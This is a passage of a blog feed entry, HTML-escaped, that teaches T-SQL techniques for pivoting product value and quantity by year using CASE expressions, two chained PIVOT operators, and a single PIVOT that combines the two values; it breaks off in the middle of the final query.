scheme='http://www.blogger.com/atom/ns#' term='pivot'/><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><title type='text'>Pivoting on Multiple Columns</title><content type='html'>Pivoting data on more than one column is not a common request. But there are times when it is a very useful technique for reporting purposes. Here is one example to demonstrate different methods to handle that.&lt;br /&gt;&lt;br /&gt;The goal is to report product data by pivoting columns with value and quantity for each product based on year. Here is the script to create the table and insert sample data.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:blue;"&gt;CREATE TABLE &lt;/span&gt;&lt;span style="color:black;"&gt;Products &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;product &lt;/span&gt;&lt;span style="color:blue;"&gt;VARCHAR&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;30&lt;/span&gt;&lt;span style="color:gray;"&gt;),&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;market_year &lt;/span&gt;&lt;span style="color:blue;"&gt;INT&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;value &lt;/span&gt;&lt;span style="color:blue;"&gt;INT&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;quantity &lt;/span&gt;&lt;span style="color:blue;"&gt;INT&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:blue;"&gt;CONSTRAINT &lt;/span&gt;&lt;span style="color:black;"&gt;pk_products&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color:blue;"&gt;PRIMARY KEY &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;product&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;market_year&lt;/span&gt;&lt;span style="color:gray;"&gt;));&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Products &lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:red;"&gt;'Corn'&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;2003&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;100&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;20&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Products &lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:red;"&gt;'Corn'&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;2004&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;200&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;25&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Products &lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:red;"&gt;'Corn'&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;2005&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;150&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;30&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black;"&gt;Products &lt;/span&gt;&lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:red;"&gt;'Corn'&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;2006&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;150&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;10&lt;/span&gt;&lt;span style="color:gray;"&gt;);&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;The request is to produce the following output:&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:black;"&gt;product v2003 q2003 v2004 q2004 v2005 q2005 v2006 q2006&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;------- ----- ----- ----- ----- ----- ----- ----- -----&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black;"&gt;Corn    100   20    200   25    150   30    150   10&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;As usual, the first suspect for pivoting solution is the CASE function. Using CASE expressions is the most flexible method to manipulate data for pivoting. There is not much difference when pivoting a single or multiple columns. Here is the solution with CASE:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color:black;"&gt;product&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:blue;"&gt;CASE &lt;/span&gt;&lt;span style="color:blue;"&gt;WHEN &lt;/span&gt;&lt;span style="color:black;"&gt;market_year &lt;/span&gt;&lt;span style="color:gray;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;2003 &lt;/span&gt;&lt;span style="color:blue;"&gt;THEN &lt;/span&gt;&lt;span style="color:black;"&gt;value &lt;/span&gt;&lt;span style="color:blue;"&gt;ELSE &lt;/span&gt;&lt;span style="color:black;"&gt;0 &lt;/span&gt;&lt;span style="color:blue;"&gt;END&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;v2003&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:blue;"&gt;CASE &lt;/span&gt;&lt;span style="color:blue;"&gt;WHEN &lt;/span&gt;&lt;span style="color:black;"&gt;market_year &lt;/span&gt;&lt;span style="color:gray;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;2003 &lt;/span&gt;&lt;span style="color:blue;"&gt;THEN &lt;/span&gt;&lt;span style="color:black;"&gt;quantity &lt;/span&gt;&lt;span style="color:blue;"&gt;ELSE &lt;/span&gt;&lt;span style="color:black;"&gt;0 &lt;/span&gt;&lt;span style="color:blue;"&gt;END&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;q2003&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:blue;"&gt;CASE &lt;/span&gt;&lt;span style="color:blue;"&gt;WHEN &lt;/span&gt;&lt;span style="color:black;"&gt;market_year &lt;/span&gt;&lt;span style="color:gray;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;2004 &lt;/span&gt;&lt;span style="color:blue;"&gt;THEN &lt;/span&gt;&lt;span style="color:black;"&gt;value &lt;/span&gt;&lt;span style="color:blue;"&gt;ELSE &lt;/span&gt;&lt;span style="color:black;"&gt;0 &lt;/span&gt;&lt;span style="color:blue;"&gt;END&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;v2004&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:blue;"&gt;CASE &lt;/span&gt;&lt;span style="color:blue;"&gt;WHEN &lt;/span&gt;&lt;span style="color:black;"&gt;market_year &lt;/span&gt;&lt;span style="color:gray;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;2004 &lt;/span&gt;&lt;span style="color:blue;"&gt;THEN &lt;/span&gt;&lt;span style="color:black;"&gt;quantity &lt;/span&gt;&lt;span style="color:blue;"&gt;ELSE &lt;/span&gt;&lt;span style="color:black;"&gt;0 &lt;/span&gt;&lt;span style="color:blue;"&gt;END&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;q2004&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:blue;"&gt;CASE &lt;/span&gt;&lt;span style="color:blue;"&gt;WHEN &lt;/span&gt;&lt;span style="color:black;"&gt;market_year &lt;/span&gt;&lt;span style="color:gray;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;2005 &lt;/span&gt;&lt;span style="color:blue;"&gt;THEN &lt;/span&gt;&lt;span style="color:black;"&gt;value &lt;/span&gt;&lt;span style="color:blue;"&gt;ELSE &lt;/span&gt;&lt;span style="color:black;"&gt;0 &lt;/span&gt;&lt;span style="color:blue;"&gt;END&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;v2005&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:blue;"&gt;CASE &lt;/span&gt;&lt;span style="color:blue;"&gt;WHEN &lt;/span&gt;&lt;span style="color:black;"&gt;market_year &lt;/span&gt;&lt;span style="color:gray;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;2005 &lt;/span&gt;&lt;span style="color:blue;"&gt;THEN &lt;/span&gt;&lt;span style="color:black;"&gt;quantity &lt;/span&gt;&lt;span style="color:blue;"&gt;ELSE &lt;/span&gt;&lt;span style="color:black;"&gt;0 &lt;/span&gt;&lt;span style="color:blue;"&gt;END&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;q2005&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:blue;"&gt;CASE &lt;/span&gt;&lt;span style="color:blue;"&gt;WHEN &lt;/span&gt;&lt;span style="color:black;"&gt;market_year &lt;/span&gt;&lt;span style="color:gray;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;2006 &lt;/span&gt;&lt;span style="color:blue;"&gt;THEN &lt;/span&gt;&lt;span style="color:black;"&gt;value &lt;/span&gt;&lt;span style="color:blue;"&gt;ELSE &lt;/span&gt;&lt;span style="color:black;"&gt;0 &lt;/span&gt;&lt;span style="color:blue;"&gt;END&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;v2006&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:blue;"&gt;CASE &lt;/span&gt;&lt;span style="color:blue;"&gt;WHEN &lt;/span&gt;&lt;span style="color:black;"&gt;market_year &lt;/span&gt;&lt;span style="color:gray;"&gt;= &lt;/span&gt;&lt;span style="color:black;"&gt;2006 &lt;/span&gt;&lt;span style="color:blue;"&gt;THEN &lt;/span&gt;&lt;span style="color:black;"&gt;quantity &lt;/span&gt;&lt;span style="color:blue;"&gt;ELSE &lt;/span&gt;&lt;span style="color:black;"&gt;0 &lt;/span&gt;&lt;span style="color:blue;"&gt;END&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;q2006&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;FROM &lt;/span&gt;&lt;span style="color:black;"&gt;Products&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;GROUP BY &lt;/span&gt;&lt;span style="color:black;"&gt;product&lt;/span&gt;&lt;span style="color:gray;"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Next, let's look at the PIVOT operator that was added in SQL Server 2005. The PIVOT operator has a few limitations, and one of them is that it supports pivoting only on a single column. However, T-SQL allows to specify multiple PIVOT operators in the FROM clause, that way providing a solution for pivoting on multiple columns. There is one catch: the second PIVOT consumes the temporary result set output of the first PIVOT operator. Because of that the year column is not available (since it is used as pivoting column in the first PIVOT) and there is a need to define a virtual column that replicates the values for the year. Also, since the first PIVOT operator uses the year values as column names, the new virtual column subtracts 2000 from the year value to generate different column names for the second PIVOT operator. Here is the query using two PIVOT operators:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color:black;"&gt;product&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;MAX&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;[2003]&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;v2003&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;MAX&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;[3]&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;q2003&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;MAX&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;[2004]&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;v2004&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;MAX&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;[4]&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;q2004&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;MAX&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;[2005]&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;v2005&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;MAX&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;[5]&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;q2005&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;MAX&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;[2006]&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;v2006&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:magenta;"&gt;MAX&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;[6]&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;q2006&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;FROM &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color:black;"&gt;product&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;market_year&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;br /&gt;&lt;br /&gt;             &lt;/span&gt;&lt;span style="color:black;"&gt;market_year &lt;/span&gt;&lt;span style="color:gray;"&gt;- &lt;/span&gt;&lt;span style="color:black;"&gt;2000 &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;market_year2&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;             &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;value&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;value&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;br /&gt;&lt;br /&gt;             &lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;quantity&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;quantity&lt;br /&gt;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color:blue;"&gt;FROM &lt;/span&gt;&lt;span style="color:black;"&gt;Products&lt;br /&gt;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color:blue;"&gt;GROUP BY &lt;/span&gt;&lt;span style="color:black;"&gt;product&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;market_year&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;T&lt;br /&gt;&lt;br /&gt;      &lt;span style="color:gray;"&gt;PIVOT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;     &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;value&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;FOR &lt;/span&gt;&lt;span style="color:black;"&gt;market_year &lt;/span&gt;&lt;span style="color:blue;"&gt;IN &lt;br /&gt;&lt;br /&gt;     &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;[2003]&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;[2004]&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;[2005]&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;[2006]&lt;/span&gt;&lt;span style="color:gray;"&gt;)) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;P1&lt;br /&gt;&lt;br /&gt;      &lt;span style="color:gray;"&gt;PIVOT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;     &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;quantity&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;FOR &lt;/span&gt;&lt;span style="color:black;"&gt;market_year2 &lt;/span&gt;&lt;span style="color:blue;"&gt;IN &lt;br /&gt;&lt;br /&gt;     &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;[3]&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;[4]&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;[5]&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;[6]&lt;/span&gt;&lt;span style="color:gray;"&gt;)) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;P2&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;GROUP BY &lt;/span&gt;&lt;span style="color:black;"&gt;product&lt;/span&gt;&lt;span style="color:gray;"&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;In this particular case there is more elegant solution using a single PIVOT operator. With little math the value and the quantity can be combined into single column and then after the pivoting split back to two separate columns. Here is the solution using a single PIVOT operator:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;&lt;code  style="font-size:12px;"&gt;&lt;span style="color:blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color:black;"&gt;product&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:black;"&gt;[2003] &lt;/span&gt;&lt;span style="color:gray;"&gt;/ &lt;/span&gt;&lt;span style="color:black;"&gt;1000 &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;v2003&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:black;"&gt;[2003] &lt;/span&gt;&lt;span style="color:gray;"&gt;% &lt;/span&gt;&lt;span style="color:black;"&gt;1000 &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;q2003&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:black;"&gt;[2004] &lt;/span&gt;&lt;span style="color:gray;"&gt;/ &lt;/span&gt;&lt;span style="color:black;"&gt;1000 &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;v2004&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:black;"&gt;[2004] &lt;/span&gt;&lt;span style="color:gray;"&gt;% &lt;/span&gt;&lt;span style="color:black;"&gt;1000 &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;q2004&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:black;"&gt;[2005] &lt;/span&gt;&lt;span style="color:gray;"&gt;/ &lt;/span&gt;&lt;span style="color:black;"&gt;1000 &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;v2005&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:black;"&gt;[2005] &lt;/span&gt;&lt;span style="color:gray;"&gt;% &lt;/span&gt;&lt;span style="color:black;"&gt;1000 &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;q2005&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:black;"&gt;[2006] &lt;/span&gt;&lt;span style="color:gray;"&gt;/ &lt;/span&gt;&lt;span style="color:black;"&gt;1000 &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;v2006&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;br /&gt;&lt;br /&gt;       &lt;/span&gt;&lt;span style="color:black;"&gt;[2006] &lt;/span&gt;&lt;span style="color:gray;"&gt;% &lt;/span&gt;&lt;span style="color:black;"&gt;1000 &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;q2006&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue;"&gt;FROM &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:blue;"&gt;SELECT &lt;/span&gt;&lt;span style="color:black;"&gt;product&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;market_year&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;br /&gt;&lt;br /&gt;             &lt;/span&gt;&lt;span style="color:black;"&gt;value &lt;/span&gt;&lt;span style="color:gray;"&gt;* &lt;/span&gt;&lt;span style="color:black;"&gt;1000 &lt;/span&gt;&lt;span style="color:gray;"&gt;+ &lt;/span&gt;&lt;span style="color:black;"&gt;quantity &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;value&lt;br /&gt;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color:blue;"&gt;FROM &lt;/span&gt;&lt;span style="color:black;"&gt;Products&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span style="color:black;"&gt;T&lt;br /&gt;&lt;br /&gt;      &lt;span style="color:gray;"&gt;PIVOT&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;     &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:magenta;"&gt;SUM&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;value&lt;/span&gt;&lt;span style="color:gray;"&gt;) &lt;/span&gt;&lt;span style="color:blue;"&gt;FOR &lt;/span&gt;&lt;span style="color:black;"&gt;market_year &lt;/span&gt;&lt;span style="color:blue;"&gt;IN &lt;br /&gt;&lt;br /&gt;     &lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:black;"&gt;[2003]&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;[2004]&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;[2005]&lt;/span&gt;&lt;span style="color:gray;"&gt;, &lt;/span&gt;&lt;span style="color:black;"&gt;[2006]&lt;/span&gt;&lt;span style="color:gray;"&gt;)) &lt;/span&gt;&lt;span style="color:blue;"&gt;AS &lt;/span&gt;&lt;span 